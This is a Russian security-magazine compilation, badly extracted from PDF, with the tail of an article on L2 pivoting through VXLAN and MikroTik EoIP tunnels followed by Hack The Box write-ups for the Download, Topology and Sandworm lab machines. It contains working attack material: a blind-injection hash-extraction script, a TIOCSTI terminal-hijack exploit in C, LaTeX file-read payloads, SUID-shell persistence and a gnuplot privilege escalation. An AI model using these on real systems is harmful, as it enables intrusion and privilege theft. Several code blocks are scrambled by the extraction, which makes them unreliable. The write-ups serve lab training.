VXLAN-тун нелиро вание

Прис тупим к нас трой ке тун неля меж ду ата кующим (Kali Linux, 10.10.10.1)
и целевой Debian-машиной (10.10.220.2). Так же наз начим VNI (это иден- 
тифика тор VXLAN-тун неля), он будет равен 10. UDP-порт наз начения с обе их
сто рон оди нако вый — 4789. VXLAN может работать в двух режимах: multipoint
и point-to-point, я выберу вто рой вари ант.

ip 10 sudo link add name thevxlan type vxlan id local 10.10.10.1 
remote 10.10.220.2 dstport 4789 

ip sudo link set thevxlan up 

На сто роне целевой машины c Debian VXLAN нас тра ивает ся так же, одна ко
при дет ся сно ва попотеть над нас трой кой брид жа, как это было с GRETAP.

ip 10 sudo link add name thevxlan type vxlan id local 10.10.220.2 
remote 10.10.10.1 dstport 4789 

ip sudo link set thevxlan up 

sudo brctl addbr bridge 
sudo brctl addir bridge thevxlan 

 
  ip 

 

sudo ip addr del 10.10.220.3/24 dev eth0; sudo ip addr add 10.10.220.
3/24 dev bridge; sudo brctl addif bridge eth0; sudo link set dev 
bridge up; sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.220.
254 

На этом нас трой ка VXLAN с обе их сто рон закан чива ется, на VXLAN-
интерфей се ата кующе го мы видим тра фик про токо лов каналь ного уров ня
(STP, CDP), что доказы вает получе ние имен но L2-дос тупа.

Тра фик на VXLAN-интерфей се ата кующе го

За тем получа ем адрес на интерфей се VXLAN с пос леду ющим уда лени ем
шлю за по умол чанию.

 tap0  sudo dhclient -v ; sudo route del default 

По лучен ный адрес на VXLAN-интерфей се

И в этот раз не поб резгую запус тить Responder.

Пе рех вачен ный NTLMv2-SSP по VXLAN-тун нелю

EOIP (L2)

EoIP (Ethernet over IP) — это проп риетар ный про токол MikroTik, поз воля ющий
стро ить L2-тун нели поверх интерне та, но для это го исполь зует ся GRE-
инкапсу ляция. По фак ту EoIP — это абсо лют но то же самое, что и GRETAP-
интерфей сы в Linux, раз личия лишь в Proto Type (для EoIP в GRE это зна чение

, для GRETAP-тун нелей — ).0x6400 0x6558
При пос тэкс плу ата ции RouterOS (имен но эта сис тема исполь зует ся

на обо рудо вании MikroTik) ата кующий может пос тро ить L2-тун нель меж ду
собой и целевым брид жем с помощью EoIP, одна ко для работы EoIP в дис три- 
бути вах Linux нужен модуль . Ата кующе му дос таточ но соз дать EoIP-
интерфейс в RouterOS, затем помес тить его внутрь брид жа (в 90% слу чаях
в нас трой ках RouterOS исполь зуют ся брид жи).

eoip

На сво ей сто роне ата кующе му дос таточ но соб рать модуль из репози тория
и запус тить интерфейс, при этом соз дав TAP-интерфейс для кор рек тной
работы .мо дуля от katlogic

Сеть с пог ранич ным RouterOS

Ата кующий из интерне та может ока зать ся в целевой сети на уров не L2, но это
край не спе цифи чес кий сце нарий и име ет пра во на сущес тво вание толь ко
в момент пос тэкс плу ата ции.

Нас трой ки на сто роне ата кующе го выг лядят сле дующим обра зом: соз- 
дает ся TAP-интерфейс, запус кает ся модуль, тун нелю зада ется ID 100:

sudo ip tuntap add mode tap tap0 
ip sudo link set tap0 up 

sudo ./eoip tap0 218.123.134.80 128.78.23.45:100 

На сто роне RouterOS ана логич но, но при этом нуж но помес тить соз данный
EoIP-интерфейс в сущес тву ющий бридж внут ри RouterOS для получе ния L2-
дос тупа. Тут исполь зует ся вер сия RouterOS v6:

100 
/interface eoip add name=thenightmare local-address=128.78.23.45 
remote-address=218.123.134.80 tunnel-id=

LAN /interface bridge port add interface=thenightmare bridge=

Пос ле этих нас тро ек EoIP-тун нель будет уста нов лен. На TAP-интерфей се ата- 
кующе го уже есть тра фик, адрес по DHCP получен.

Тра фик на TAP-интерфей се внут ри EoIP

От работав ший Responder внут ри EoIP

Та ким обра зом мож но про вес ти сво еоб разный пивотинг сквозь RouterOS
и про водить ата ки каналь ного уров ня. Век тор край не необыч ный, одна ко есть
шанс, что им мож но будет вос поль зовать ся в кор поратив ных сетях.

ÏÈÂÎÒÈÍÃ ÏÐÎÒÈÂ WINDOWS

Как ты заметил, все опи сан ные выше при емы про демонс три рова ны имен но
на Linux. Почему так получи лось? Потому что дес ктоп ные редак ции Windows
не под держи вают про токо лы тун нелиро вания вро де GRE и VXLAN. Воз можно,
их под дер жка есть в Windows Server, но в эту тему я не углублял ся. Одна ко
и здесь есть решение, хоть и доволь но экзо тичес кое.

В июле это го года  статьи « »
в исполне нии . Мне приш ла в голову мысль раз вернуть вир туаль ный
мар шру тиза тор CHR на VirtualBox внут ри самой Windows. Так я про вел L2-
пивотинг и ата ки каналь ного уров ня в целевой сети, исполь зуя хост
с Windows. Метод ско рее экспе римен таль ный, но работа ет. Вир туаль ный
CHR под держи вает про токо лы EoIP, VXLAN, IPIP, GRE и дру гие.

я сде лал «ремикс» Пин гвин-супер шпи он
s0i37

Вот как это выг лядело на бумаге

ÂÛÂÎÄÛ

В сво ем неболь шом иссле дова нии я про демонс три ровал нес коль ко тех ник
пивотин га с исполь зовани ем про вай дер ских про токо лов. Это кон цепция
в духе «living off the land»: я прос то исполь зовал осо бен ности сетевых про- 
токо лов и добил ся импакта для ата кующей сто роны. При этом я не исполь- 
зовал сто рон ние пен тестер ские ути литы. Методы край не спе цифи чес кие, но,
если ты понима ешь всю кар тину и зна ешь мат часть, у тебя не воз никнет
проб лем и эти при емы при ведут к успе ху.

https://github.com/lgandx/Responder
https://github.com/dirkjanm/mitm6
https://github.com/katlogic/eoip
http://github.com/katlogic/eoip
http://xakep.ru/2023/08/02/caster-remix
https://xakep.ru/2020/06/17/windows-mitm/
http://t.me/s0i37_channel
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ВЗЛОМ

В этом рай тапе я про демонс три рую тех нику
TTY hijacking, которая поз воля ет зах ватить
сес сию тер минала супер поль зовате ля. Так- 
же про экс плу ати руем path traversal
для получе ния дос тупа к исходно му коду
при ложе ния на Node.js, укра дем сес сию
поль зовате ля через соз дание cookie и при- 
меним сле пую инъ екцию для получе ния
кон фиден циаль ной информа ции.

На шей целью будет зах ват тре ниро воч ной машины Download с пло щад ки
. Уро вень ее — слож ный.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в файл :/etc/hosts

10.10.11.226 download.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Nginx 1.18.0.•

Заг лянем на сайт.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Изу чая сайт, находим фор му заг рузки фай лов.

Стра ница /les/upload

Прос матри вая этот зап рос в , уви дим типич ную для при ложе ния
на Node.js фор му cookie.

Burp History

Зап рос в Burp History

Ав торизу емся на сай те, декоди руем зна чение  и про- 
верим, что изме нилось.

download_session

Глав ная стра ница авто ризо ван ного поль зовате ля

Зап рос в Burp History

У нас появил ся параметр , содер жащий имя поль зовате ля и его иден- 
тифика тор. Так же для про вер ки я заг рузил файл и уви дел, что сооб щение
о выпол нении дей ствия попада ет в параметр .

user

success

Ре зуль тат заг рузки фай ла

Зап рос в Burp History

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


ПЕРЕХВАТЫВАЕМ ТЕРМИНАЛ
СУПЕРПОЛЬЗОВАТЕЛЯ ПРИ АТАКЕ

НА ХОСТ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Path traversal
Стра ница  отда ет нам файл при ска чива нии. Сто ит про- 

верить, нет ли здесь уяз вимос ти обхо да катало га. Сде лать это мож но, зап- 
росив файл , харак терный для прог рамм на Node.js. Я исполь- 

зую  и сло варь с раз ными вари анта ми ука зания пути к фай лу.

/files/download/

package.json
Burp Intruder

Ре зуль тат перебо ра

В ито ге получа ем содер жимое , отку да узна ем, что основной

файл называ ется , а так же имя поль зовате ля — . Теперь тем же
спо собом зап росим файл .

package.json
app.js wesley

app.js

Со дер жимое фай ла app.js

По луча ем ключ для под писи куки (стро ка 39), а еще видим исполь зование
SQL-зап росов (стро ка 59).

Cookie
Имея ключ, мы можем манипу лиро вать зна чени ями куки, соз давая и под- 
писывая их для любого поль зовате ля. В этом нам поможет ути лита 

. Уста новим ее.
cookie-

monster

npm  install --global yarn 
git clone https://github.com/DigitalInterruption/cookie-monster 
cd cookie-monster 
yarn install
yarn link

Сох раним зна чение куки в файл и поменя ем имя поль зовате ля на .

Затем сге нери руем нуж ные нам зна чения.

wesley

 ./cookie-monster.js -e -f cookie.txt -k 
8929874489719802418902487651347865819634518936754 -n download_session 

Соз дание cookie для поль зовате ля wesley

Под став ляем сге нери рован ные зна чения в зап рос и получа ем стра ницу
нового поль зовате ля.

Стра ница в Burp Repeater

В окру жении поль зовате ля на сай те ничего не находим, поэто му про дол жим
прос матри вать исходные коды. В уже извес тном нам фай ле  отме чаем
под клю чаемые модули.

app.js

Со дер жимое фай ла app.js

Пер вым делом я прос мотрел содер жимое фай ла . Наибо- 
лее инте ресен в нем блок кода для получе ния поль зовате ля с помощью фун- 
кции  (стро ки 41–44).

routers/auth.js

findFirst

Со дер жимое фай ла routers/auth.js

Кро ме парамет ра име ни поль зовате ля, есть еще и параметр . Учи- 
тывая, что для выбор ки из базы исполь зует ся , мож но про тес- 

тировать инъ екцию, осно ван ную на исполь зовании в переда ваемых парамет- 
рах дру гих опе рато ров: ,  и про чих воз вра щающих булевы
зна чения. К при меру, сле дующее зна чение cookie отоб разило фай лы поль- 
зовате ля!

password
findFirst

contains startWith

{
   "flashes":{
       "info":[],
       "error":[],
       "success":[""]
   },
   "user":{
       "username":{
           "contains": "WESLEY"
       },
       "password":{
           "startsWith":""
       }
   }
}

Зап рос в Burp Repeater

В самих фай лах ничего инте рес ного нет, зато мы можем попытать ся подоб- 
рать хеш пароля поль зовате ля.

Àâòîìàòèçàöèÿ
Смысл в том, что бы пооче ред но переби рать сим волы хеша пароля. Как толь- 
ко реаль ный хеш будет начинать ся с ука зан ной пос ледова тель нос ти, мы
получим отличный от осталь ных слу чаев ответ и нач нем переби рать сле- 
дующий сим вол хеша.

import subprocess 
import json 
import requests 

 passwd = ""
 chars = "0123456789abcdef"

 tmp_pass = ""

: def getCookie(password)
 : :[], :[], :[ , :
: : , :

  data = {"flashes" {"info" "error" "success" ""]} "user" {
"username" {"contains" "WESLEY"} "password" {"startsWith":password}}
}

,  with open("cookie.txt" "w") as f: 
data      f.write(json.dumps( ))

, , , , , 
, , 

  out = subprocess.check_output(["./cookie-monster/bin/
cookie-monster.js" "-e" "-f" "cookie.txt" "-k"
"8929874489719802418902487651347865819634518936754" "-n"
"download_session"]).decode()
  index1 = out.index("download_session=") + len("download_session=")
  out = out[index1:] 
  sess = out[:out.index("\x1b")]
  index2 = out.index("download_session.sig=") + len(
"download_session.sig=")
  out = out[index2:] 
  sig = out[:out.index("\x1b")]
  return sess, sig 

i range 32 : for in ( )
  c for in chars: 
      tmp_pass = passwd + c 
      print("Hash: " + tmp_pass, end='\r')

      sess, sig = getCookie(tmp_pass)
 : 

sig
      cookie = {"download_session": sess, "download_session.sig"
}

,       r = requests.get('http://download.htb/home/' cookies=cookie)

 len  :       if( (r.text) != 2174 )
          passwd = tmp_pass 
          break

print("Hash: " + passwd)

Ре зуль тат работы скрип та

Спус тя нес коль ко минут получа ем хеш MD5 и рас шифро выва ем пароль
при помощи сер виса .hashes.com

Ре зуль тат взло ма хеша

С получен ными учет ными дан ными авто ризу емся по SSH и забира ем флаг
поль зовате ля.

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, нам нуж но отоб рать толь- 
ко зна чимую.

В спис ке про цес сов отме чаем работа ющий PostgreSQL, об этом говорит
и прос лушива емый порт 5432. Так же у поль зовате ля, от име ни которо го
работа ет СУБД, есть своя кон соль.

Спи сок про цес сов

Прос лушива емые пор ты

Поль зовате ли с кон солью

Еще полез но прос матри вать запус каемые про цес сы с помощью .
Имен но это и помог ло мне обна ружить, что в сис теме работа ет поль- 
зователь ская служ ба , а так же отме тить, что в сис тему залоги- 

нен поль зователь .

pspy64

download-site
postgres

Ло ги pspy64

Прос матри ваем файл служ бы 

. В перемен ной окру жения для запус ка про цес са находим перемен- 
ную , а в URL — учет ные дан ные для под клю чения к базе дан- 

ных.

/etc/systemd/system/download-site.
service

DATABASE_URL

Со дер жимое фай ла download-site.service

Под клю чаем ся к базе и получа ем информа цию о поль зовате лях.

psql -h localhost -p 5432 -U download 

u \d

Ин форма ция о поль зовате лях СУБД

Наш поль зователь — член груп пы , а зна чит, име ет
пра во на запись в фай лы. Для пер систен тнос ти сле дующи ми коман дами наз- 
начим фай лу коман дной обо лоч ки S-бит:

pg_write_server_files

cp /bin/bash /tmp/psql_bash 
chmod 4777 /tmp/psql_bash 

В качес тве метода пер систен тнос ти запишем дан ные коман ды в фай лы 

 и . Так

как выпол няет ся вход от име ни поль зовате ля, будут выпол нены коман ды
из этих фай лов.

/var/
lib/postgresql/.bash_profile /var/lib/postgresql/.bashrc

   
    

COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ; 
chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.
bash_profile';

   
    

COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ; 
chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.
bashrc';

Спус тя некото рое вре мя про веря ем, не появил ся ли файл 

в катало ге .

/bin/bash
/tmp

Со дер жимое катало га /tmp

У фай ла выс тавлен S-бит, а зна чит, мы можем получить сес сию от име ни
поль зовате ля .postgres

Сес сия поль зовате ля postgres

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

TTY hijacking
Увы, это му поль зовате лю ничего инте рес ного не дос тупно. Тог да вер немся
к спо собу вхо да через . Здесь мож но поп робовать попасть в сес сию

поль зовате ля, от име ни которо го выпол няет ся коман да . Эта тех ника

называ ется TTY hijacking. Хотя sudo и su в дан ном слу чае меня ют UID
исполня емо го про цес са на UID поль зовате ля без пол номочий, тер минал
по-преж нему оста ется тер миналом поль зовате ля root и, как ока залось, дос- 
тупен неп ривиле гиро ван ному поль зовате лю.

su -l
su

Те кущий тер минал прог раммы всег да дос тупен через файл . Мы

можем его открыть от име ни поль зовате ля без пол номочий, а затем исполь- 
зовать сис кол  для под делки поль зователь ско го вво да. Это поз волит
нам вво дить коман ды в чужой тер минал. Для экс плу ата ции этой тех ники мож- 
но исполь зовать сле дующий экс пло ит:

/dev/tty

ioctl

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>

  int main() {
      int fd = open("/dev/tty", O_RDWR);
      if (fd < 0) {
      perror("open");

       return -1;
  }
     char *x = "exit\n/bin/bash -c 'cp /bin/bash /tmp/root_bash; chmod 
4777 /tmp/root_bash'\n";
      while (*x != 0) {

           int ret = ioctl(fd, TIOCSTI, x);
          if (ret == -1) {

          perror("ioctl()");
      }
      x++;
  }
   return 0;
}

Здесь сна чала завер шает ся работа текущей коман дной обо лоч ки поль- 
зовате ля ( ), а затем записы вает ся уже зна комая полез ная наг рузка.
Пос ле завер шения работы коман дной обо лоч ки поль зовате ля  шелл

поль зовате ля  счи тыва ет под дель ный поль зователь ский ввод и выпол- 

няет его.

exit\n
postgres

root

Ком пилиру ем экс пло ит и даем пра ва на выпол нение для всех.

 gcc exploit.c -static -o lpe.bin 
chmod 777 /tmp/lpe.bin 

Те перь пов торим тех нику выпол нения фай ла через  и ,
пос ле чего про верим, появил ся ли файл коман дной обо лоч ки, но уже соз- 
данный рутом.

bash_profile bashrc

       COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/
var/lib/postgresql/.bash_profile';

       COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/
var/lib/postgresql/.bashrc';

Со дер жимое катало га /tmp

Ата ка прош ла успешно, теперь мы можем перей ти к сес сии  и заб рать

вто рой флаг.

root

Флаг рута

Ма шина зах вачена!

https://github.com/DigitalInterruption/cookie-monster
https://hashes.com/ru/decrypt/hash
https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
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ВЗЛОМ

В этом рай тапе я покажу, как исполь зовать
инъ екцию команд в LaTeX, что бы про читать
фай лы на сер вере и получить кри тичес ки
важ ные дан ные. Затем повысим при виле- 
гии через gnuplot.

Про ходить будем тре ниро воч ную машину Topology с пло щад ки .
Уро вень ее — лег кий.

Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.217    topology.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел все го два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41.•

Бру тить SSH смыс ла нет, поэто му сра зу перехо дим к сай ту.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На глав ной стра нице есть ссыл ка, которая перено сит нас на новый домен
.latex.topology.htb

Ошиб ка при перехо де на latex.topology.htb

За носим и этот домен в  и обновля ем стра ницу./etc/hosts

10.10.11.217 topology.htb latex.topology.htb 

Глав ная стра ница latex.topology.htb

На стра нице видим поле вво да, которое при нима ет от поль зовате ля фор мулу
на язы ке LaTeX. Но к это му вер немся поз же, а сна чала прос каниру ем дру гие
под домены при помощи .ffuf

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — заголо вок HTTP.• -H

Мес то перебо ра помеча ется сло вом FUZZ.

За даем все парамет ры и получа ем вот такую коман ду:

ffuf  256 
 

-u http://topology.htb/ -w subdomains-dnsscan-10000.txt -t
-H 'Host: FUZZ.topology.htb'

Ре зуль тат ска ниро вания под доменов с помощью ffuf

Но в вывод попада ют абсо лют но все вари анты из спис ка, а зна чит, нуж но
исполь зовать филь тры, к при меру по раз меру стра ницы. Для это го добавим
параметр , который отсе ет все стра ницы задан ного раз мера.-fs

ffuf  256 
  

-u http://topology.htb/ -w subdomains-dnsscan-10000.txt -t
-H 'Host: FUZZ.topology.htb' -fs 6767 

Ре зуль тат ска ниро вания под доменов с помощью ffuf

На ходим еще два под домена:  и . Поэто му обновля ем запись в фай- 

ле  и прос матри ваем новые сай ты.

dev stats
/etc/hosts

10.10.11.217 topology.htb latex.topology.htb dev.topology.htb stats.
topology.htb 

На пер вом нас встре чает HTTP-аутен тифика ция, а на вто ром прос то отоб- 
ража ется кар тинка.

Глав ная стра ница сай та dev.topology.htb

Глав ная стра ница сай та stats.topology.htb

Боль ше ничего не получив, воз вра щаем ся к фор ме LaTeX.

ÒÎ×ÊÀ ÎÏÎÐÛ

LaTeX поз воля ет авто мати зиро вать мно гие задачи при под готов ке науч ных
пуб ликаций и самых раз ных пособий. Он облегча ет нумера цию раз делов,
ввод фор мул, добав ление перек рес тных ссы лок и мно гие дру гие вещи.
Готовя свой документ, автор ука зыва ет логичес кую струк туру тек ста, а LaTeX
реша ет воп росы его отоб ражения. То есть содер жание отде лено от офор- 
мле ния.

Мы же можем исполь зовать слу жеб ные конс трук ции LaTeX в наших целях,
а имен но поп робовать выпол нить коман ды на уда лен ном хос те либо
попытать ся про читать локаль ные фай лы в сис теме. Пер вым делом отпра вим
прос тей шую наг рузку для чте ния фай ла ./etc/passwd

\input{/etc/passwd}

От вет сер вера

Как ока залось, не все наг рузки выпол няют ся на сер вере, и мы получа ем
сооб щение о том, что наша инъ екция обна руже на. Добить ся выпол нения
команд не выш ло, а вот най ти наг рузку для чте ния фай лов мне уда лось. Сле- 
дующий код поз волит про читать пер вую стро ку из фай ла ./etc/passwd

\newread\file
\openin\file=/etc/passwd 

 to\read\file \line
\text{\line}
\closein\file

Стро ка из фай ла /etc/passwd

Итак, мы узна ли, что на сер вере есть филь тр, а у нас есть воз можность его
обхо дить. Идем даль ше и исполь зуем дру гую наг рузку для чте ния все го фай- 
ла.

$\lstinputlisting{/etc/passwd}$

Со дер жимое фай ла /etc/passwd

Та ким обра зом мы получа ем воз можность читать локаль ные фай лы на сер- 
вере.

×òåíèå ïðîèçâîëüíîãî ôàéëà
Что пер вым делом смот реть на сер вере? Нас в пер вую оче редь инте ресу ют
фай лы, содер жимое которых может рас крыть нам важ ную информа цию
для прод вижения. Это могут быть какие-то учет ные дан ные, нас трой ки и даже
исходни ки сай тов.

Пом нишь сайт , зак рытый HTTP-аутен тифика цией? В его катало ге

на сер вере навер няка най дет ся файл , содер жащий имя поль- 

зовате ля и хеш его пароля в фор мате Apache MD5. Ведь имен но их зап- 
рашива ет сер вер, отоб ражая окош ко HTTP-аутен тифика ции. Давай получим
эти учет ные дан ные:

dev
.htpasswd

$\lstinputlisting{/var/www/dev/.htpasswd}$

Со дер жимое фай ла .htpasswd

Ис поль зуем справ ку , что бы узнать режим перебо ра хеша.hashcat

 |    hashcat --example grep -A5 -B5 '$apr1'

Справ ка hashcat

По луча ем режим 1600, который и ука зыва ем при перебо ре в парамет ре .-m

hashcat -m 1600 -a 0 hash.txt rockyou.txt 

Ре зуль тат перебо ра хеша

С получен ными учет ными дан ными мы можем пос мотреть сайт.

Глав ная стра ница сай та dev.topology.htb

На сай те ничего не находим и про буем с теми же учет ными дан ными авто- 
ризо вать ся по SSH. Получи лось! Забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг ружа ем на хост скрипт для Linux, даем пра во на выпол нение и запус каем
ска ниро вание. В выводе будет мно го информа ции, давай пос мотрим, что
имен но может помочь нам повысить при виле гии.

Сре ди фай лов, дос тупных для записи, есть каталог .

Это единс твен ный про ект в катало ге .

/opt/gnuplot
/opt

Фай лы, дос тупные для записи

Про буем про читать содер жимое это го катало га и получа ем сооб щение
об ошиб ке. Ока зыва ется, каталог  дос тупен для записи

и исполне ния, но недос тупен для чте ния.

/opt/gnuplot

Вы вод содер жимого катало га /opt/gnuplot

Раз решения катало га gnuplot

Тог да поп робу ем отсле дить запус каемые про цес сы, так как аргу мен ты одно- 
го из них могут рас крыть содер жимое засек речен ного катало га. Для это го
исполь зуем ути литу .pspy64

Ло ги pspy64

Ви дим, что про исхо дит поиск фай лов с рас ширени ем  в катало ге 

. Най ден ные фай лы выпол няют ся с помощью , при чем

от име ни поль зовате ля . Так мы можем соз дать файл 
и записать в него фун кцию . Она выпол нит коман ду , что бы наз- 

начить S-бит коман дной обо лоч ке .

.plt /opt/
gnuplot gnuplot

root privesc.plt
system chmod

/bin/bash

  echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/privesc.plt 

Спус тя вре мя про верим раз решения на файл ./bin/bash

Раз решения фай ла /bin/bash

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

За ходим как супер поль зователь и забира ем флаг.

/bin/bash -p

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
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ВЗЛОМ

В этом рай тапе я покажу, как совер шать
побег из сен дбок са Firejail, что бы повысить
при виле гии в Linux. Еще мы най дем и про- 
экс плу ати руем уяз вимость SSTI в сер висе
про вер ки под писи PGP, а так же заложим
бэк дор в про ект, написан ный на Rust.

А поможет нам в этом тре ниро воч ная машина Sandworm с пло щад ки 
. Уро вень ее слож ности — сред ний.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.218    sandworm.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел три откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 и 443 — веб-сер вер Nginx 1.18.0.•

В заголов ке  при сутс тву ет редирект на адрес .

Добав ляем и этот домен в файл .

http-title https://ssa.htb
/etc/hosts

10.10.11.218 sandworm.htb ssa.htb 

Глав ная стра ница сай та https://ssa.htb/

На сай те находим фор мы для шиф рования тек ста и про вер ки под писи.

Стра ница шиф рования

Стра ница про вер ки под писи

По ссыл ке на стра нице получа ем ключ PGP.

Ключ PGP

Боль ше ничего инте рес ного не находим, а так как мы уже уви дели мно го
инте рес ных стра ниц, поп робу ем поис кать дру гие.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

